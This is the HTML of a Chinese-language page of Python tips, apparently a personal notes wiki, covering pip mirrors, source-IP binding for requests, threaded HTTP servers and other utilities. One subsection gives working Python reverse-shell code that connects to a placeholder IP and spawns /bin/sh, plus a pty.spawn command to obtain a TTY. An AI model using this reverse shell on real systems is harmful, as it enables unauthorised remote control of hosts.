\n          <li class=\"md-nav__item\">\n  <a href=\"#_19\" class=\"md-nav__link\">\n    随机采样\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pyenvpython\" class=\"md-nav__link\">\n    使用pyenv编译安装不同版本的Python\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_20\" class=\"md-nav__link\">\n    发送钉钉消息\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mitmproxy\" class=\"md-nav__link\">\n    使用mitmproxy\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pywebioflask-markdown\" class=\"md-nav__link\">\n    pywebio+Flask 构建交互式markdown网站\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"python\">Python<a class=\"headerlink\" href=\"#python\" title=\"Permanent link\">&para;</a></h1>\n<p>嗯哼，Python很好玩呢&hellip;有人说Python是能运行的伪代码，就写代码的速度而言是显著优于C的，也有很多好用的类库呢，反正强烈推荐这门语言啦~</p>\n<p>当你尝试一个包的时候，注意自己的py文件名称不能与包名重名，例如不要出现flask.py</p>\n<hr />\n<h2 id=\"pip\">安装pip<a class=\"headerlink\" href=\"#pip\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py\npython get-pip.py\n</code></pre></div>\n\n<h2 id=\"pip-mirrorsaliyuncom\">设置pip源 - mirrors.aliyun.com<a class=\"headerlink\" href=\"#pip-mirrorsaliyuncom\" title=\"Permanent link\">&para;</a></h2>\n<p>如果只需要一次性安装个包（如Dockerfile）： </p>\n<div class=\"codehilite\"><pre><span></span><code>pip install -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com\n</code></pre></div>\n\n<p>在Linux服务器上安装python的包时，执行这段代码可以将pip源改为国内的阿里镜像（豆瓣源似乎不再更新），能显著提高包的下载速度</p>\n<div class=\"codehilite\"><pre><span></span><code>mkdir<span class=\"w\"> </span>-p<span class=\"w\"> </span>~/.pip\n<span class=\"nb\">echo</span><span class=\"w\"> </span><span class=\"s2\">&quot;&quot;&quot;</span>\n<span class=\"s2\">[global]</span>\n<span class=\"s2\">index-url = http://mirrors.aliyun.com/pypi/simple/</span>\n<span class=\"s2\">[install]</span>\n<span class=\"s2\">trusted-host=mirrors.aliyun.com</span>\n<span class=\"s2\">&quot;&quot;&quot;</span>&gt;~/.pip/pip.conf\n</code></pre></div>\n\n<p>至于Windows用户，在用户目录下创建一个pip目录，如：C:\\Users\\chenyuan\\pip，新建文件pip.ini，内容如下：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">[global]</span>\n<span class=\"na\">index-url</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">http://mirrors.aliyun.com/pypi/simple/</span>\n<span class=\"k\">[install]</span>\n<span class=\"na\">trusted-host</span><span class=\"o\">=</span><span class=\"s\">mirrors.aliyun.com</span>\n</code></pre></div>\n\n<h3 id=\"shell\">反弹shell<a class=\"headerlink\" href=\"#shell\" title=\"Permanent link\">&para;</a></h3>\n<p>首先自己的服务器上用<strong>nc -l 端口</strong></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">socket</span><span class=\"o\">,</span><span class=\"nn\">subprocess</span><span class=\"o\">,</span><span class=\"nn\">os</span>\n<span class=\"n\">s</span><span class=\"o\">=</span><span class=\"n\">socket</span><span class=\"o\">.</span><span class=\"n\">socket</span><span class=\"p\">(</span><span class=\"n\">socket</span><span class=\"o\">.</span><span class=\"n\">AF_INET</span><span class=\"p\">,</span><span class=\"n\">socket</span><span class=\"o\">.</span><span class=\"n\">SOCK_STREAM</span><span class=\"p\">)</span>\n<span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">connect</span><span class=\"p\">((</span> <span class=\"s2\">&quot;IP地址&quot;</span> <span class=\"p\">,</span> <span class=\"n\">端口</span> <span class=\"p\">))</span>\n<span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">dup2</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">fileno</span><span class=\"p\">(),</span><span class=\"mi\">0</span><span class=\"p\">)</span>\n<span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">dup2</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">fileno</span><span class=\"p\">(),</span><span class=\"mi\">1</span><span class=\"p\">)</span>\n<span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">dup2</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">fileno</span><span class=\"p\">(),</span><span class=\"mi\">2</span><span class=\"p\">)</span>\n<span class=\"n\">p</span><span class=\"o\">=</span><span class=\"n\">subprocess</span><span class=\"o\">.</span><span class=\"n\">call</span><span class=\"p\">([</span><span class=\"s2\">&quot;/bin/sh&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;-i&quot;</span><span class=\"p\">])</span>\n</code></pre></div>\n\n<p>单行版本：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">IP</span><span class=\"o\">=</span><span class=\"s2\">&quot;x.x.x.x&quot;</span><span class=\"p\">;</span><span class=\"n\">PORT</span><span class=\"o\">=</span><span class=\"mi\">6666</span><span class=\"p\">;</span><span class=\"kn\">import</span> <span class=\"nn\">socket</span><span class=\"o\">,</span><span class=\"nn\">subprocess</span><span class=\"o\">,</span><span class=\"nn\">os</span><span class=\"p\">;</span><span class=\"n\">s</span><span class=\"o\">=</span><span class=\"n\">socket</span><span class=\"o\">.</span><span class=\"n\">socket</span><span class=\"p\">(</span><span class=\"n\">socket</span><span class=\"o\">.</span><span class=\"n\">AF_INET</span><span class=\"p\">,</span><span class=\"n\">socket</span><span class=\"o\">.</span><span class=\"n\">SOCK_STREAM</span><span class=\"p\">);</span><span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">connect</span><span class=\"p\">((</span> <span class=\"n\">IP</span> <span class=\"p\">,</span> <span class=\"n\">PORT</span> <span class=\"p\">));</span><span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">dup2</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">fileno</span><span class=\"p\">(),</span><span class=\"mi\">0</span><span class=\"p\">);</span><span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">dup2</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">fileno</span><span class=\"p\">(),</span><span class=\"mi\">1</span><span class=\"p\">);</span><span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">dup2</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">fileno</span><span class=\"p\">(),</span><span class=\"mi\">2</span><span class=\"p\">);</span><span class=\"n\">p</span><span class=\"o\">=</span><span class=\"n\">subprocess</span><span class=\"o\">.</span><span class=\"n\">call</span><span class=\"p\">([</span><span class=\"s2\">&quot;/bin/sh&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;-i&quot;</span><span class=\"p\">])</span>\n</code></pre></div>\n\n<h3 id=\"tty\">获得一个tty<a class=\"headerlink\" href=\"#tty\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">python</span> <span class=\"o\">-</span><span class=\"n\">c</span> <span class=\"s1\">&#39;import pty; pty.spawn(&quot;/bin/sh&quot;)&#39;</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"requestsip\">让requests使用多个IP<a class=\"headerlink\" href=\"#requestsip\" title=\"Permanent link\">&para;</a></h2>\n<p>requests包并没有使用socket.create_connection函数，所以替换socket.create_connection并不够</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">def</span> <span class=\"nf\">function_hook_parameter</span><span class=\"p\">(</span><span class=\"n\">oldfunc</span><span class=\"p\">,</span> <span class=\"n\">parameter_index</span><span class=\"p\">,</span> <span class=\"n\">parameter_name</span><span class=\"p\">,</span> <span class=\"n\">parameter_value</span><span class=\"p\">):</span>\n<span class=\"w\">    </span><span class=\"sd\">&quot;&quot;&quot;</span>\n<span class=\"sd\">    创造一个wrapper函数，劫持oldfunc传入的第parameter_index名为parameter_name的函数，固定其值为parameter_value; 不影响调用该函数时传入的任何其他参数</span>\n<span class=\"sd\">    用法： 原函数 = function_hook_parameter(原函数, 从1开始计数的参数所处的位置, 这个参数的名称, 需要替换成的参数值)</span>\n\n<span class=\"sd\">    例子： 需要劫持socket.create_connection这个函数，其函数原型如下： </span>\n<span class=\"sd\">               create_connection(address, timeout=_GLOBAL_DEFAULT_TIMEOUT, source_address=None)</span>\n<span class=\"sd\">           需要对其第3个参数source_address固定为value，劫持方法如下</span>\n<span class=\"sd\">               socket.create_connection = function_hook_parameter(socket.create_connection, 3, &quot;source_address&quot;, value)</span>\n<span class=\"sd\">    &quot;&quot;&quot;</span>\n    <span class=\"n\">real_func</span> <span class=\"o\">=</span> <span class=\"n\">oldfunc</span>\n    <span class=\"k\">def</span> <span class=\"nf\">newfunc</span><span class=\"p\">(</span><span class=\"o\">*</span><span class=\"n\">args</span><span class=\"p\">,</span> <span class=\"o\">**</span><span class=\"n\">kwargs</span><span class=\"p\">):</span>  <span class=\"c1\"># args是参数列表list，kwargs是带有名称keyword的参数dict</span>\n        <span class=\"n\">newargs</span> <span class=\"o\">=</span> <span class=\"nb\">list</span><span class=\"p\">(</span><span class=\"n\">args</span><span class=\"p\">)</span>\n        <span class=\"k\">if</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">args</span><span class=\"p\">)</span> <span class=\"o\">&gt;=</span> <span class=\"n\">parameter_index</span><span class=\"p\">:</span>  <span class=\"c1\"># 如果这个参数被直接传入，那么肯定其前面的参数都是无名称的参数，args的长度肯定长于其所在的位置</span>\n            <span class=\"n\">newargs</span><span class=\"p\">[</span><span class=\"n\">parameter_index</span> <span class=\"o\">-</span> <span class=\"mi\">1</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"n\">parameter_value</span>  <span class=\"c1\"># 第3个参数在list的下标是2</span>\n        <span class=\"k\">else</span><span class=\"p\">:</span>  <span class=\"c1\"># 如果不是直接传入，那么就在kwargs中 或者传入的可选参数中没有这个参数，直接设置kwargs即可</span>\n            <span class=\"n\">kwargs</span><span class=\"p\">[</span><span class=\"n\">parameter_name</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"n\">parameter_value</span>\n        <span class=\"k\">return</span> <span class=\"n\">real_func</span><span class=\"p\">(</span><span class=\"o\">*</span><span class=\"n\">newargs</span><span class=\"p\">,</span> <span class=\"o\">**</span><span class=\"n\">kwargs</span><span class=\"p\">)</span>\n    <span class=\"k\">return</span> <span class=\"n\">newfunc</span>\n\n\n<span class=\"n\">myip</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;x.x.x.x&quot;</span> <span class=\"c1\">#你需要使用的IP，需要操作系统已经取得这个IP</span>\n<span class=\"kn\">import</span> <span class=\"nn\">socket</span>\n<span class=\"n\">socket</span><span class=\"o\">.</span><span class=\"n\">create_connection</span> <span class=\"o\">=</span> <span class=\"n\">function_hook_parameter</span><span class=\"p\">(</span><span class=\"n\">socket</span><span class=\"o\">.</span><span class=\"n\">create_connection</span><span class=\"p\">,</span> <span class=\"mi\">3</span><span class=\"p\">,</span> <span class=\"s2\">&quot;source_address&quot;</span><span class=\"p\">,</span> <span class=\"p\">(</span><span class=\"n\">myip</span><span class=\"p\">,</span> <span class=\"mi\">0</span><span class=\"p\">))</span>\n<span class=\"kn\">import</span> <span class=\"nn\">requests</span>\n<span class=\"n\">bakup_create_connection</span> <span class=\"o\">=</span> <span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">packages</span><span class=\"o\">.</span><span class=\"n\">urllib3</span><span class=\"o\">.</span><span class=\"n\">util</span><span class=\"o\">.</span><span class=\"n\">connection</span><span class=\"o\">.</span><span class=\"n\">create_connection</span> <span class=\"c1\">#备份一份以备后续继续替换</span>\n<span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">packages</span><span class=\"o\">.</span><span class=\"n\">urllib3</span><span class=\"o\">.</span><span class=\"n\">util</span><span class=\"o\">.</span><span class=\"n\">connection</span><span class=\"o\">.</span><span class=\"n\">create_connection</span> <span class=\"o\">=</span> <span class=\"n\">function_hook_parameter</span><span class=\"p\">(</span><span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">packages</span><span class=\"o\">.</span><span class=\"n\">urllib3</span><span class=\"o\">.</span><span class=\"n\">util</span><span class=\"o\">.</span><span class=\"n\">connection</span><span class=\"o\">.</span><span class=\"n\">create_connection</span><span class=\"p\">,</span> <span class=\"mi\">3</span><span class=\"p\">,</span> <span class=\"s2\">&quot;source_address&quot;</span><span class=\"p\">,</span> <span class=\"p\">(</span><span class=\"n\">myip</span><span class=\"p\">,</span> <span class=\"mi\">0</span><span class=\"p\">))</span>\n\n<span class=\"c1\"># 验证是否成功修改源IP</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"s2\">&quot;http://ip.cn&quot;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">text</span><span class=\"p\">)</span> <span class=\"c1\">#访问网站查看当前使用的公网IP，如果内网你可以自行搭建服务器查看访问日志从而确定IP</span>\n\n<span class=\"c1\"># 如果后续还要进行替换，则应该传入bakup_create_connection</span>\n<span class=\"n\">mynewip</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;x.x.x.y&quot;</span> <span class=\"c1\">#另外一个当前操作系统已经取得的IP</span>\n<span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">packages</span><span class=\"o\">.</span><span class=\"n\">urllib3</span><span class=\"o\">.</span><span class=\"n\">util</span><span class=\"o\">.</span><span class=\"n\">connection</span><span class=\"o\">.</span><span class=\"n\">create_connection</span> <span class=\"o\">=</span> <span class=\"n\">function_hook_parameter</span><span class=\"p\">(</span><span class=\"n\">bakup_create_connection</span><span class=\"p\">,</span> <span class=\"mi\">3</span><span class=\"p\">,</span> <span class=\"s2\">&quot;source_address&quot;</span><span class=\"p\">,</span> <span class=\"p\">(</span><span class=\"n\">mynewip</span><span class=\"p\">,</span> <span class=\"mi\">0</span><span class=\"p\">))</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"python_1\">Python多线程模板<a class=\"headerlink\" href=\"#python_1\" title=\"Permanent link\">&para;</a></h2>\n<p>使用threading模块进行开发</p>\n<p><a href=\"../code/MultiThread_Template.py\">MultiThread_Template.py</a></p>\n<h2 id=\"httpserverbasehttpserver\">http.server（BaseHTTPServer）并发性改善<a class=\"headerlink\" href=\"#httpserverbasehttpserver\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"new-version\">New version 不必修改库代码<a class=\"headerlink\" href=\"#new-version\" title=\"Permanent link\">&para;</a></h3>\n<p>在使用BaseHTTPServer.HTTPServer的时候，对其使用的父类修改创造自己的类，参考<a href=\"https://stackoverflow.com/questions/9539052/how-to-dynamically-change-base-class-of-instances-at-runtime\">How to dynamically change base class of instances at runtime?</a></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">BaseHTTPServer</span> <span class=\"c1\"># 如果py3，需要import http.server as BaseHTTPServer</span>\n<span class=\"kn\">import</span> <span class=\"nn\">socketserver</span>\n<span class=\"n\">MyHTTPServer</span> <span class=\"o\">=</span> <span class=\"nb\">type</span><span class=\"p\">(</span><span class=\"s1\">&#39;MyHTTPServer&#39;</span><span class=\"p\">,</span> <span class=\"p\">(</span><span class=\"n\">socketserver</span><span class=\"o\">.</span><span class=\"n\">ThreadingTCPServer</span><span class=\"p\">,),</span> <span class=\"nb\">dict</span><span class=\"p\">(</span><span class=\"n\">BaseHTTPServer</span><span class=\"o\">.</span><span class=\"n\">HTTPServer</span><span class=\"o\">.</span><span class=\"vm\">__dict__</span><span class=\"p\">))</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">MyHandler</span><span class=\"p\">(</span><span class=\"n\">BaseHTTPServer</span><span class=\"o\">.</span><span class=\"n\">BaseHTTPRequestHandler</span><span class=\"p\">):</span>\n    <span class=\"k\">pass</span> <span class=\"c1\"># 省略handler的代码，一些do_GET，do_POST的函数</span>\n\n<span class=\"n\">httpd</span> <span class=\"o\">=</span> <span class=\"n\">MyHTTPServer</span><span class=\"p\">(</span> <span class=\"p\">(</span><span class=\"s1\">&#39;0.0.0.0&#39;</span><span class=\"p\">,</span> <span class=\"mi\">80</span><span class=\"p\">),</span> <span class=\"n\">MyHandler</span><span class=\"p\">)</span>\n<span class=\"n\">httpd</span><span class=\"o\">.</span><span class=\"n\">serve_forever</span><span class=\"p\">()</span>\n</code></pre></div>\n\n<p>怎么知道MyHTTPServer的父类确实被修改了呢？ 可以查看其__mro__属性（Method Resolution Order attribute）</p>\n<h3 id=\"old-version\">Old version 修改库代码(不建议)<a class=\"headerlink\" href=\"#old-version\" title=\"Permanent link\">&para;</a></h3>\n<blockquote>\n<p>参考资料：<a href=\"http://blog.csdn.net/cnmilan/article/details/9664823\">利用Python中SocketServer 实现客户端与服务器间非阻塞通信</a></p>\n<p>直接修改BaseHTTPServer的代码中的一个细节，将BaseHTTPServer类继承的原先只能支持单个请求的SocketServer.TCPServer改为每个连接一个线程的SocketServer.ThreadingTCPServer，使BaseHTTPServer能支持并发而不是一次只能处理单个请求</p>\n</blockquote>\n<p><strong>Python3的方法</strong>：</p>\n<p>在Python3中BaseHTTPServer改名为http.server了，首先找到http.server所在的py文件：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">python3</span> <span class=\"o\">-</span><span class=\"n\">c</span> <span class=\"s2\">&quot;import http.server; print(http.server)&quot;</span>\n</code></pre></div>\n\n<p>修改其提示的文件，例如我这里是<code>/usr/lib/python3.4/http/server.py</code></p>\n<p>搜索<code>class HTTPServer</code>，如果是用vim可以用<code>/class HTTPServer</code></p>\n<p>修改找到的这一行，改为：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">class</span> <span class=\"nc\">HTTPServer</span><span class=\"p\">(</span><span class=\"n\">socketserver</span><span class=\"o\">.</span><span class=\"n\">ThreadingTCPServer</span><span class=\"p\">):</span>\n</code></pre></div>\n\n<p><strong>Python2的方法</strong>：</p>\n<p>首先找到BaseHTTPServer在哪：</p>\n<div class=\"codehilite\"><pre><span></span><code> <span class=\"n\">python</span> <span class=\"o\">-</span><span class=\"n\">c</span> <span class=\"s2\">&quot;import BaseHTTPServer; print(BaseHTTPServer)&quot;</span>\n</code></pre></div>\n\n<p>修改对应的文件，如/usr/lib/python2.7/BaseHTTPServer.py，注意不要打开他直接提示的pyc文件而是要对应的同名py文件</p>\n<p>找到这行（vim中可以输入<code>/class HTTPServer</code>进行搜索）：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">class</span> <span class=\"nc\">HTTPServer</span><span class=\"p\">(</span><span class=\"n\">SocketServer</span><span class=\"o\">.</span><span class=\"n\">TCPServer</span><span class=\"p\">):</span>\n</code></pre></div>\n\n<p>修改其继承的父类：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">class</span> <span class=\"nc\">HTTPServer</span><span class=\"p\">(</span><span class=\"n\">SocketServer</span><span class=\"o\">.</span><span class=\"n\">ThreadingTCPServer</span><span class=\"p\">):</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"rootpython\">无root权限安装Python<a class=\"headerlink\" href=\"#rootpython\" title=\"Permanent link\">&para;</a></h2>\n<p>下载最新版python源码后指定prefix编译，假设用户目录为/home/chenyuan</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">apt</span><span class=\"o\">-</span><span class=\"k\">get</span><span class=\"w\"> </span><span class=\"k\">install</span><span class=\"w\"> </span><span class=\"n\">libssl</span><span class=\"o\">-</span><span class=\"n\">dev</span><span class=\"w\"> </span><span class=\"n\">openssl</span><span class=\"w\"> </span>\n<span class=\"n\">curl</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">O</span><span class=\"w\"> </span><span class=\"n\">https</span><span class=\"o\">://</span><span class=\"n\">www</span><span class=\"p\">.</span><span class=\"n\">python</span><span class=\"p\">.</span><span class=\"n\">org</span><span class=\"o\">/</span><span class=\"n\">ftp</span><span class=\"o\">/</span><span class=\"n\">python</span><span class=\"o\">/</span><span class=\"mf\">3.5.2</span><span class=\"o\">/</span><span class=\"n\">Python</span><span class=\"o\">-</span><span class=\"mf\">3.5.2</span><span class=\"p\">.</span><span class=\"n\">tgz</span>\n<span class=\"n\">tar</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">xzf</span><span class=\"w\"> </span><span class=\"n\">Python</span><span class=\"o\">-</span><span class=\"mf\">3.5.2</span><span class=\"p\">.</span><span class=\"n\">tgz</span>\n<span class=\"n\">cd</span><span class=\"w\"> </span><span class=\"n\">Python</span><span class=\"o\">-</span><span class=\"mf\">3.5.2</span><span class=\"o\">/</span>\n<span class=\"p\">.</span><span class=\"o\">/</span><span class=\"n\">configure</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">prefix</span><span class=\"o\">=/</span><span class=\"n\">home</span><span class=\"o\">/</span><span class=\"n\">chenyuan</span><span class=\"o\">/</span><span class=\"n\">python3</span>\n<span class=\"n\">make</span>\n<span class=\"n\">make</span><span class=\"w\"> </span><span class=\"k\">install</span><span class=\"w\"> </span><span class=\"o\">&gt;/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"no\">null</span>\n<span class=\"n\">pushd</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">home</span><span class=\"o\">/</span><span class=\"n\">chenyuan</span><span class=\"o\">/</span><span class=\"n\">python3</span><span class=\"o\">/</span><span class=\"n\">bin</span>\n<span class=\"n\">cp</span><span class=\"w\"> </span><span class=\"n\">python3</span><span class=\"w\"> </span><span class=\"n\">python</span>\n<span class=\"n\">cp</span><span class=\"w\"> </span><span class=\"n\">pip3</span><span class=\"w\"> </span><span class=\"n\">pip</span>\n<span class=\"n\">alias</span><span class=\"w\"> </span><span class=\"n\">python3</span><span class=\"o\">=</span><span class=\"n n-Quoted\">`pwd`</span><span class=\"o\">/</span><span class=\"n\">python</span>\n<span class=\"n\">alias</span><span class=\"w\"> </span><span class=\"n\">pip3</span><span class=\"o\">=</span><span class=\"n n-Quoted\">`pwd`</span><span class=\"o\">/</span><span class=\"n\">pip</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"_1\">中文输出乱码问题<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p>方法1：运行py前设置环境变量</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nb\">export</span><span class=\"w\"> </span><span class=\"nv\">PYTHONIOENCODING</span><span class=\"o\">=</span>utf8\n</code></pre></div>\n\n<p>方法2：强制修改stdout</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">sys</span>\n<span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">stdout</span><span class=\"o\">=</span><span class=\"nb\">open</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">,</span> <span class=\"s1\">&#39;w&#39;</span><span class=\"p\">,</span> <span class=\"n\">encoding</span><span class=\"o\">=</span><span class=\"s1\">&#39;utf-8&#39;</span><span class=\"p\">,</span> <span class=\"n\">closefd</span><span class=\"o\">=</span><span class=\"kc\">False</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"pep8\">遵循PEP8检查你的代码<a class=\"headerlink\" href=\"#pep8\" title=\"Permanent link\">&para;</a></h2>\n<p><a href=\"https://github.com/PyCQA/pycodestyle\">pycodestyle</a></p>\n<p>安装并使用pycodestyle检查代码，忽略E501一行不能长于80个字符的限制：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">pip</span><span class=\"w\"> </span><span class=\"nv\">install</span><span class=\"w\"> </span><span class=\"nv\">pycodestyle</span>\n<span class=\"nv\">pycodestyle</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"k\">show</span><span class=\"o\">-</span><span class=\"nv\">source</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nv\">ignore</span><span class=\"o\">=</span><span class=\"nv\">E501</span><span class=\"w\"> </span><span class=\"nv\">yourcode</span>.<span class=\"nv\">py</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"_2\">生成随机字符串<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">random</span>\n<span class=\"kn\">import</span> <span class=\"nn\">string</span>\n<span class=\"k\">def</span> <span class=\"nf\">random_str</span><span class=\"p\">(</span><span class=\"n\">length</span><span class=\"o\">=</span><span class=\"mi\">8</span><span class=\"p\">):</span>\n    <span class=\"k\">return</span> <span class=\"s2\">&quot;&quot;</span><span class=\"o\">.</span><span class=\"n\">join</span><span class=\"p\">(</span><span class=\"n\">random</span><span class=\"o\">.</span><span class=\"n\">sample</span><span class=\"p\">(</span><span class=\"n\">string</span><span class=\"o\">.</span><span class=\"n\">ascii_letters</span><span class=\"p\">,</span> <span class=\"n\">length</span><span class=\"p\">))</span>\n</code></pre></div>\n\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">random</span> <span class=\"kn\">import</span> <span class=\"n\">Random</span>\n<span class=\"k\">def</span> <span class=\"nf\">random_str</span><span class=\"p\">(</span><span class=\"n\">randomlength</span><span class=\"o\">=</span><span class=\"mi\">8</span><span class=\"p\">):</span>\n    <span class=\"nb\">str</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;&#39;</span>\n    <span class=\"n\">chars</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789&#39;</span>\n    <span class=\"n\">length</span> <span class=\"o\">=</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">chars</span><span class=\"p\">)</span> <span class=\"o\">-</span> <span class=\"mi\">1</span>\n    <span class=\"n\">random</span> <span class=\"o\">=</span> <span class=\"n\">Random</span><span class=\"p\">()</span>\n    <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"nb\">range</span><span class=\"p\">(</span><span class=\"n\">randomlength</span><span class=\"p\">):</span>\n        <span class=\"nb\">str</span><span class=\"o\">+=</span><span class=\"n\">chars</span><span class=\"p\">[</span><span class=\"n\">random</span><span class=\"o\">.</span><span class=\"n\">randint</span><span class=\"p\">(</span><span class=\"mi\">0</span><span class=\"p\">,</span> <span class=\"n\">length</span><span class=\"p\">)]</span>\n    <span class=\"k\">return</span> <span class=\"nb\">str</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"python_2\">Python解方程<a class=\"headerlink\" href=\"#python_2\" title=\"Permanent link\">&para;</a></h2>\n<p>需要 <code>pip install sympy</code></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">sympy</span> <span class=\"kn\">import</span> <span class=\"o\">*</span>\n<span class=\"c1\"># 解一元方程：</span>\n<span class=\"c1\">#   2x^2-18=0</span>\n<span class=\"n\">x</span><span class=\"o\">=</span><span class=\"n\">Symbol</span><span class=\"p\">(</span><span class=\"s1\">&#39;x&#39;</span><span class=\"p\">)</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">solve</span><span class=\"p\">(</span><span class=\"mi\">2</span><span class=\"o\">*</span><span class=\"n\">x</span><span class=\"o\">**</span><span class=\"mi\">2</span><span class=\"o\">-</span><span class=\"mi\">18</span><span class=\"p\">,</span><span class=\"n\">x</span><span class=\"p\">))</span>\n<span class=\"c1\"># 得到[-3,3]</span>\n\n<span class=\"c1\"># 解方程组</span>\n<span class=\"c1\">#   y=1-x</span>\n<span class=\"c1\">#   3x+2y-5</span>\n<span class=\"n\">x</span><span class=\"p\">,</span><span class=\"n\">y</span><span class=\"o\">=</span><span class=\"n\">symbols</span><span class=\"p\">(</span><span class=\"s1\">&#39;x y&#39;</span><span class=\"p\">)</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">solve</span><span class=\"p\">([</span> <span class=\"n\">y</span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"o\">+</span><span class=\"n\">x</span><span class=\"p\">,</span> <span class=\"mi\">3</span><span class=\"o\">*</span><span class=\"n\">x</span><span class=\"o\">+</span><span class=\"mi\">2</span><span class=\"o\">*</span><span class=\"n\">y</span><span class=\"o\">-</span><span class=\"mi\">5</span> <span class=\"p\">],</span> <span class=\"p\">[</span> <span class=\"n\">x</span> <span class=\"p\">,</span> <span class=\"n\">y</span> <span class=\"p\">]))</span>\n<span class=\"c1\"># 得到{x: 3, y: -2}</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"in\">大数据判断in<a class=\"headerlink\" href=\"#in\" title=\"Permanent link\">&para;</a></h2>\n<p>一定要用set，因为set的in操作是O(1)的，用list是O(n)速度太慢</p>\n<hr />\n<h2 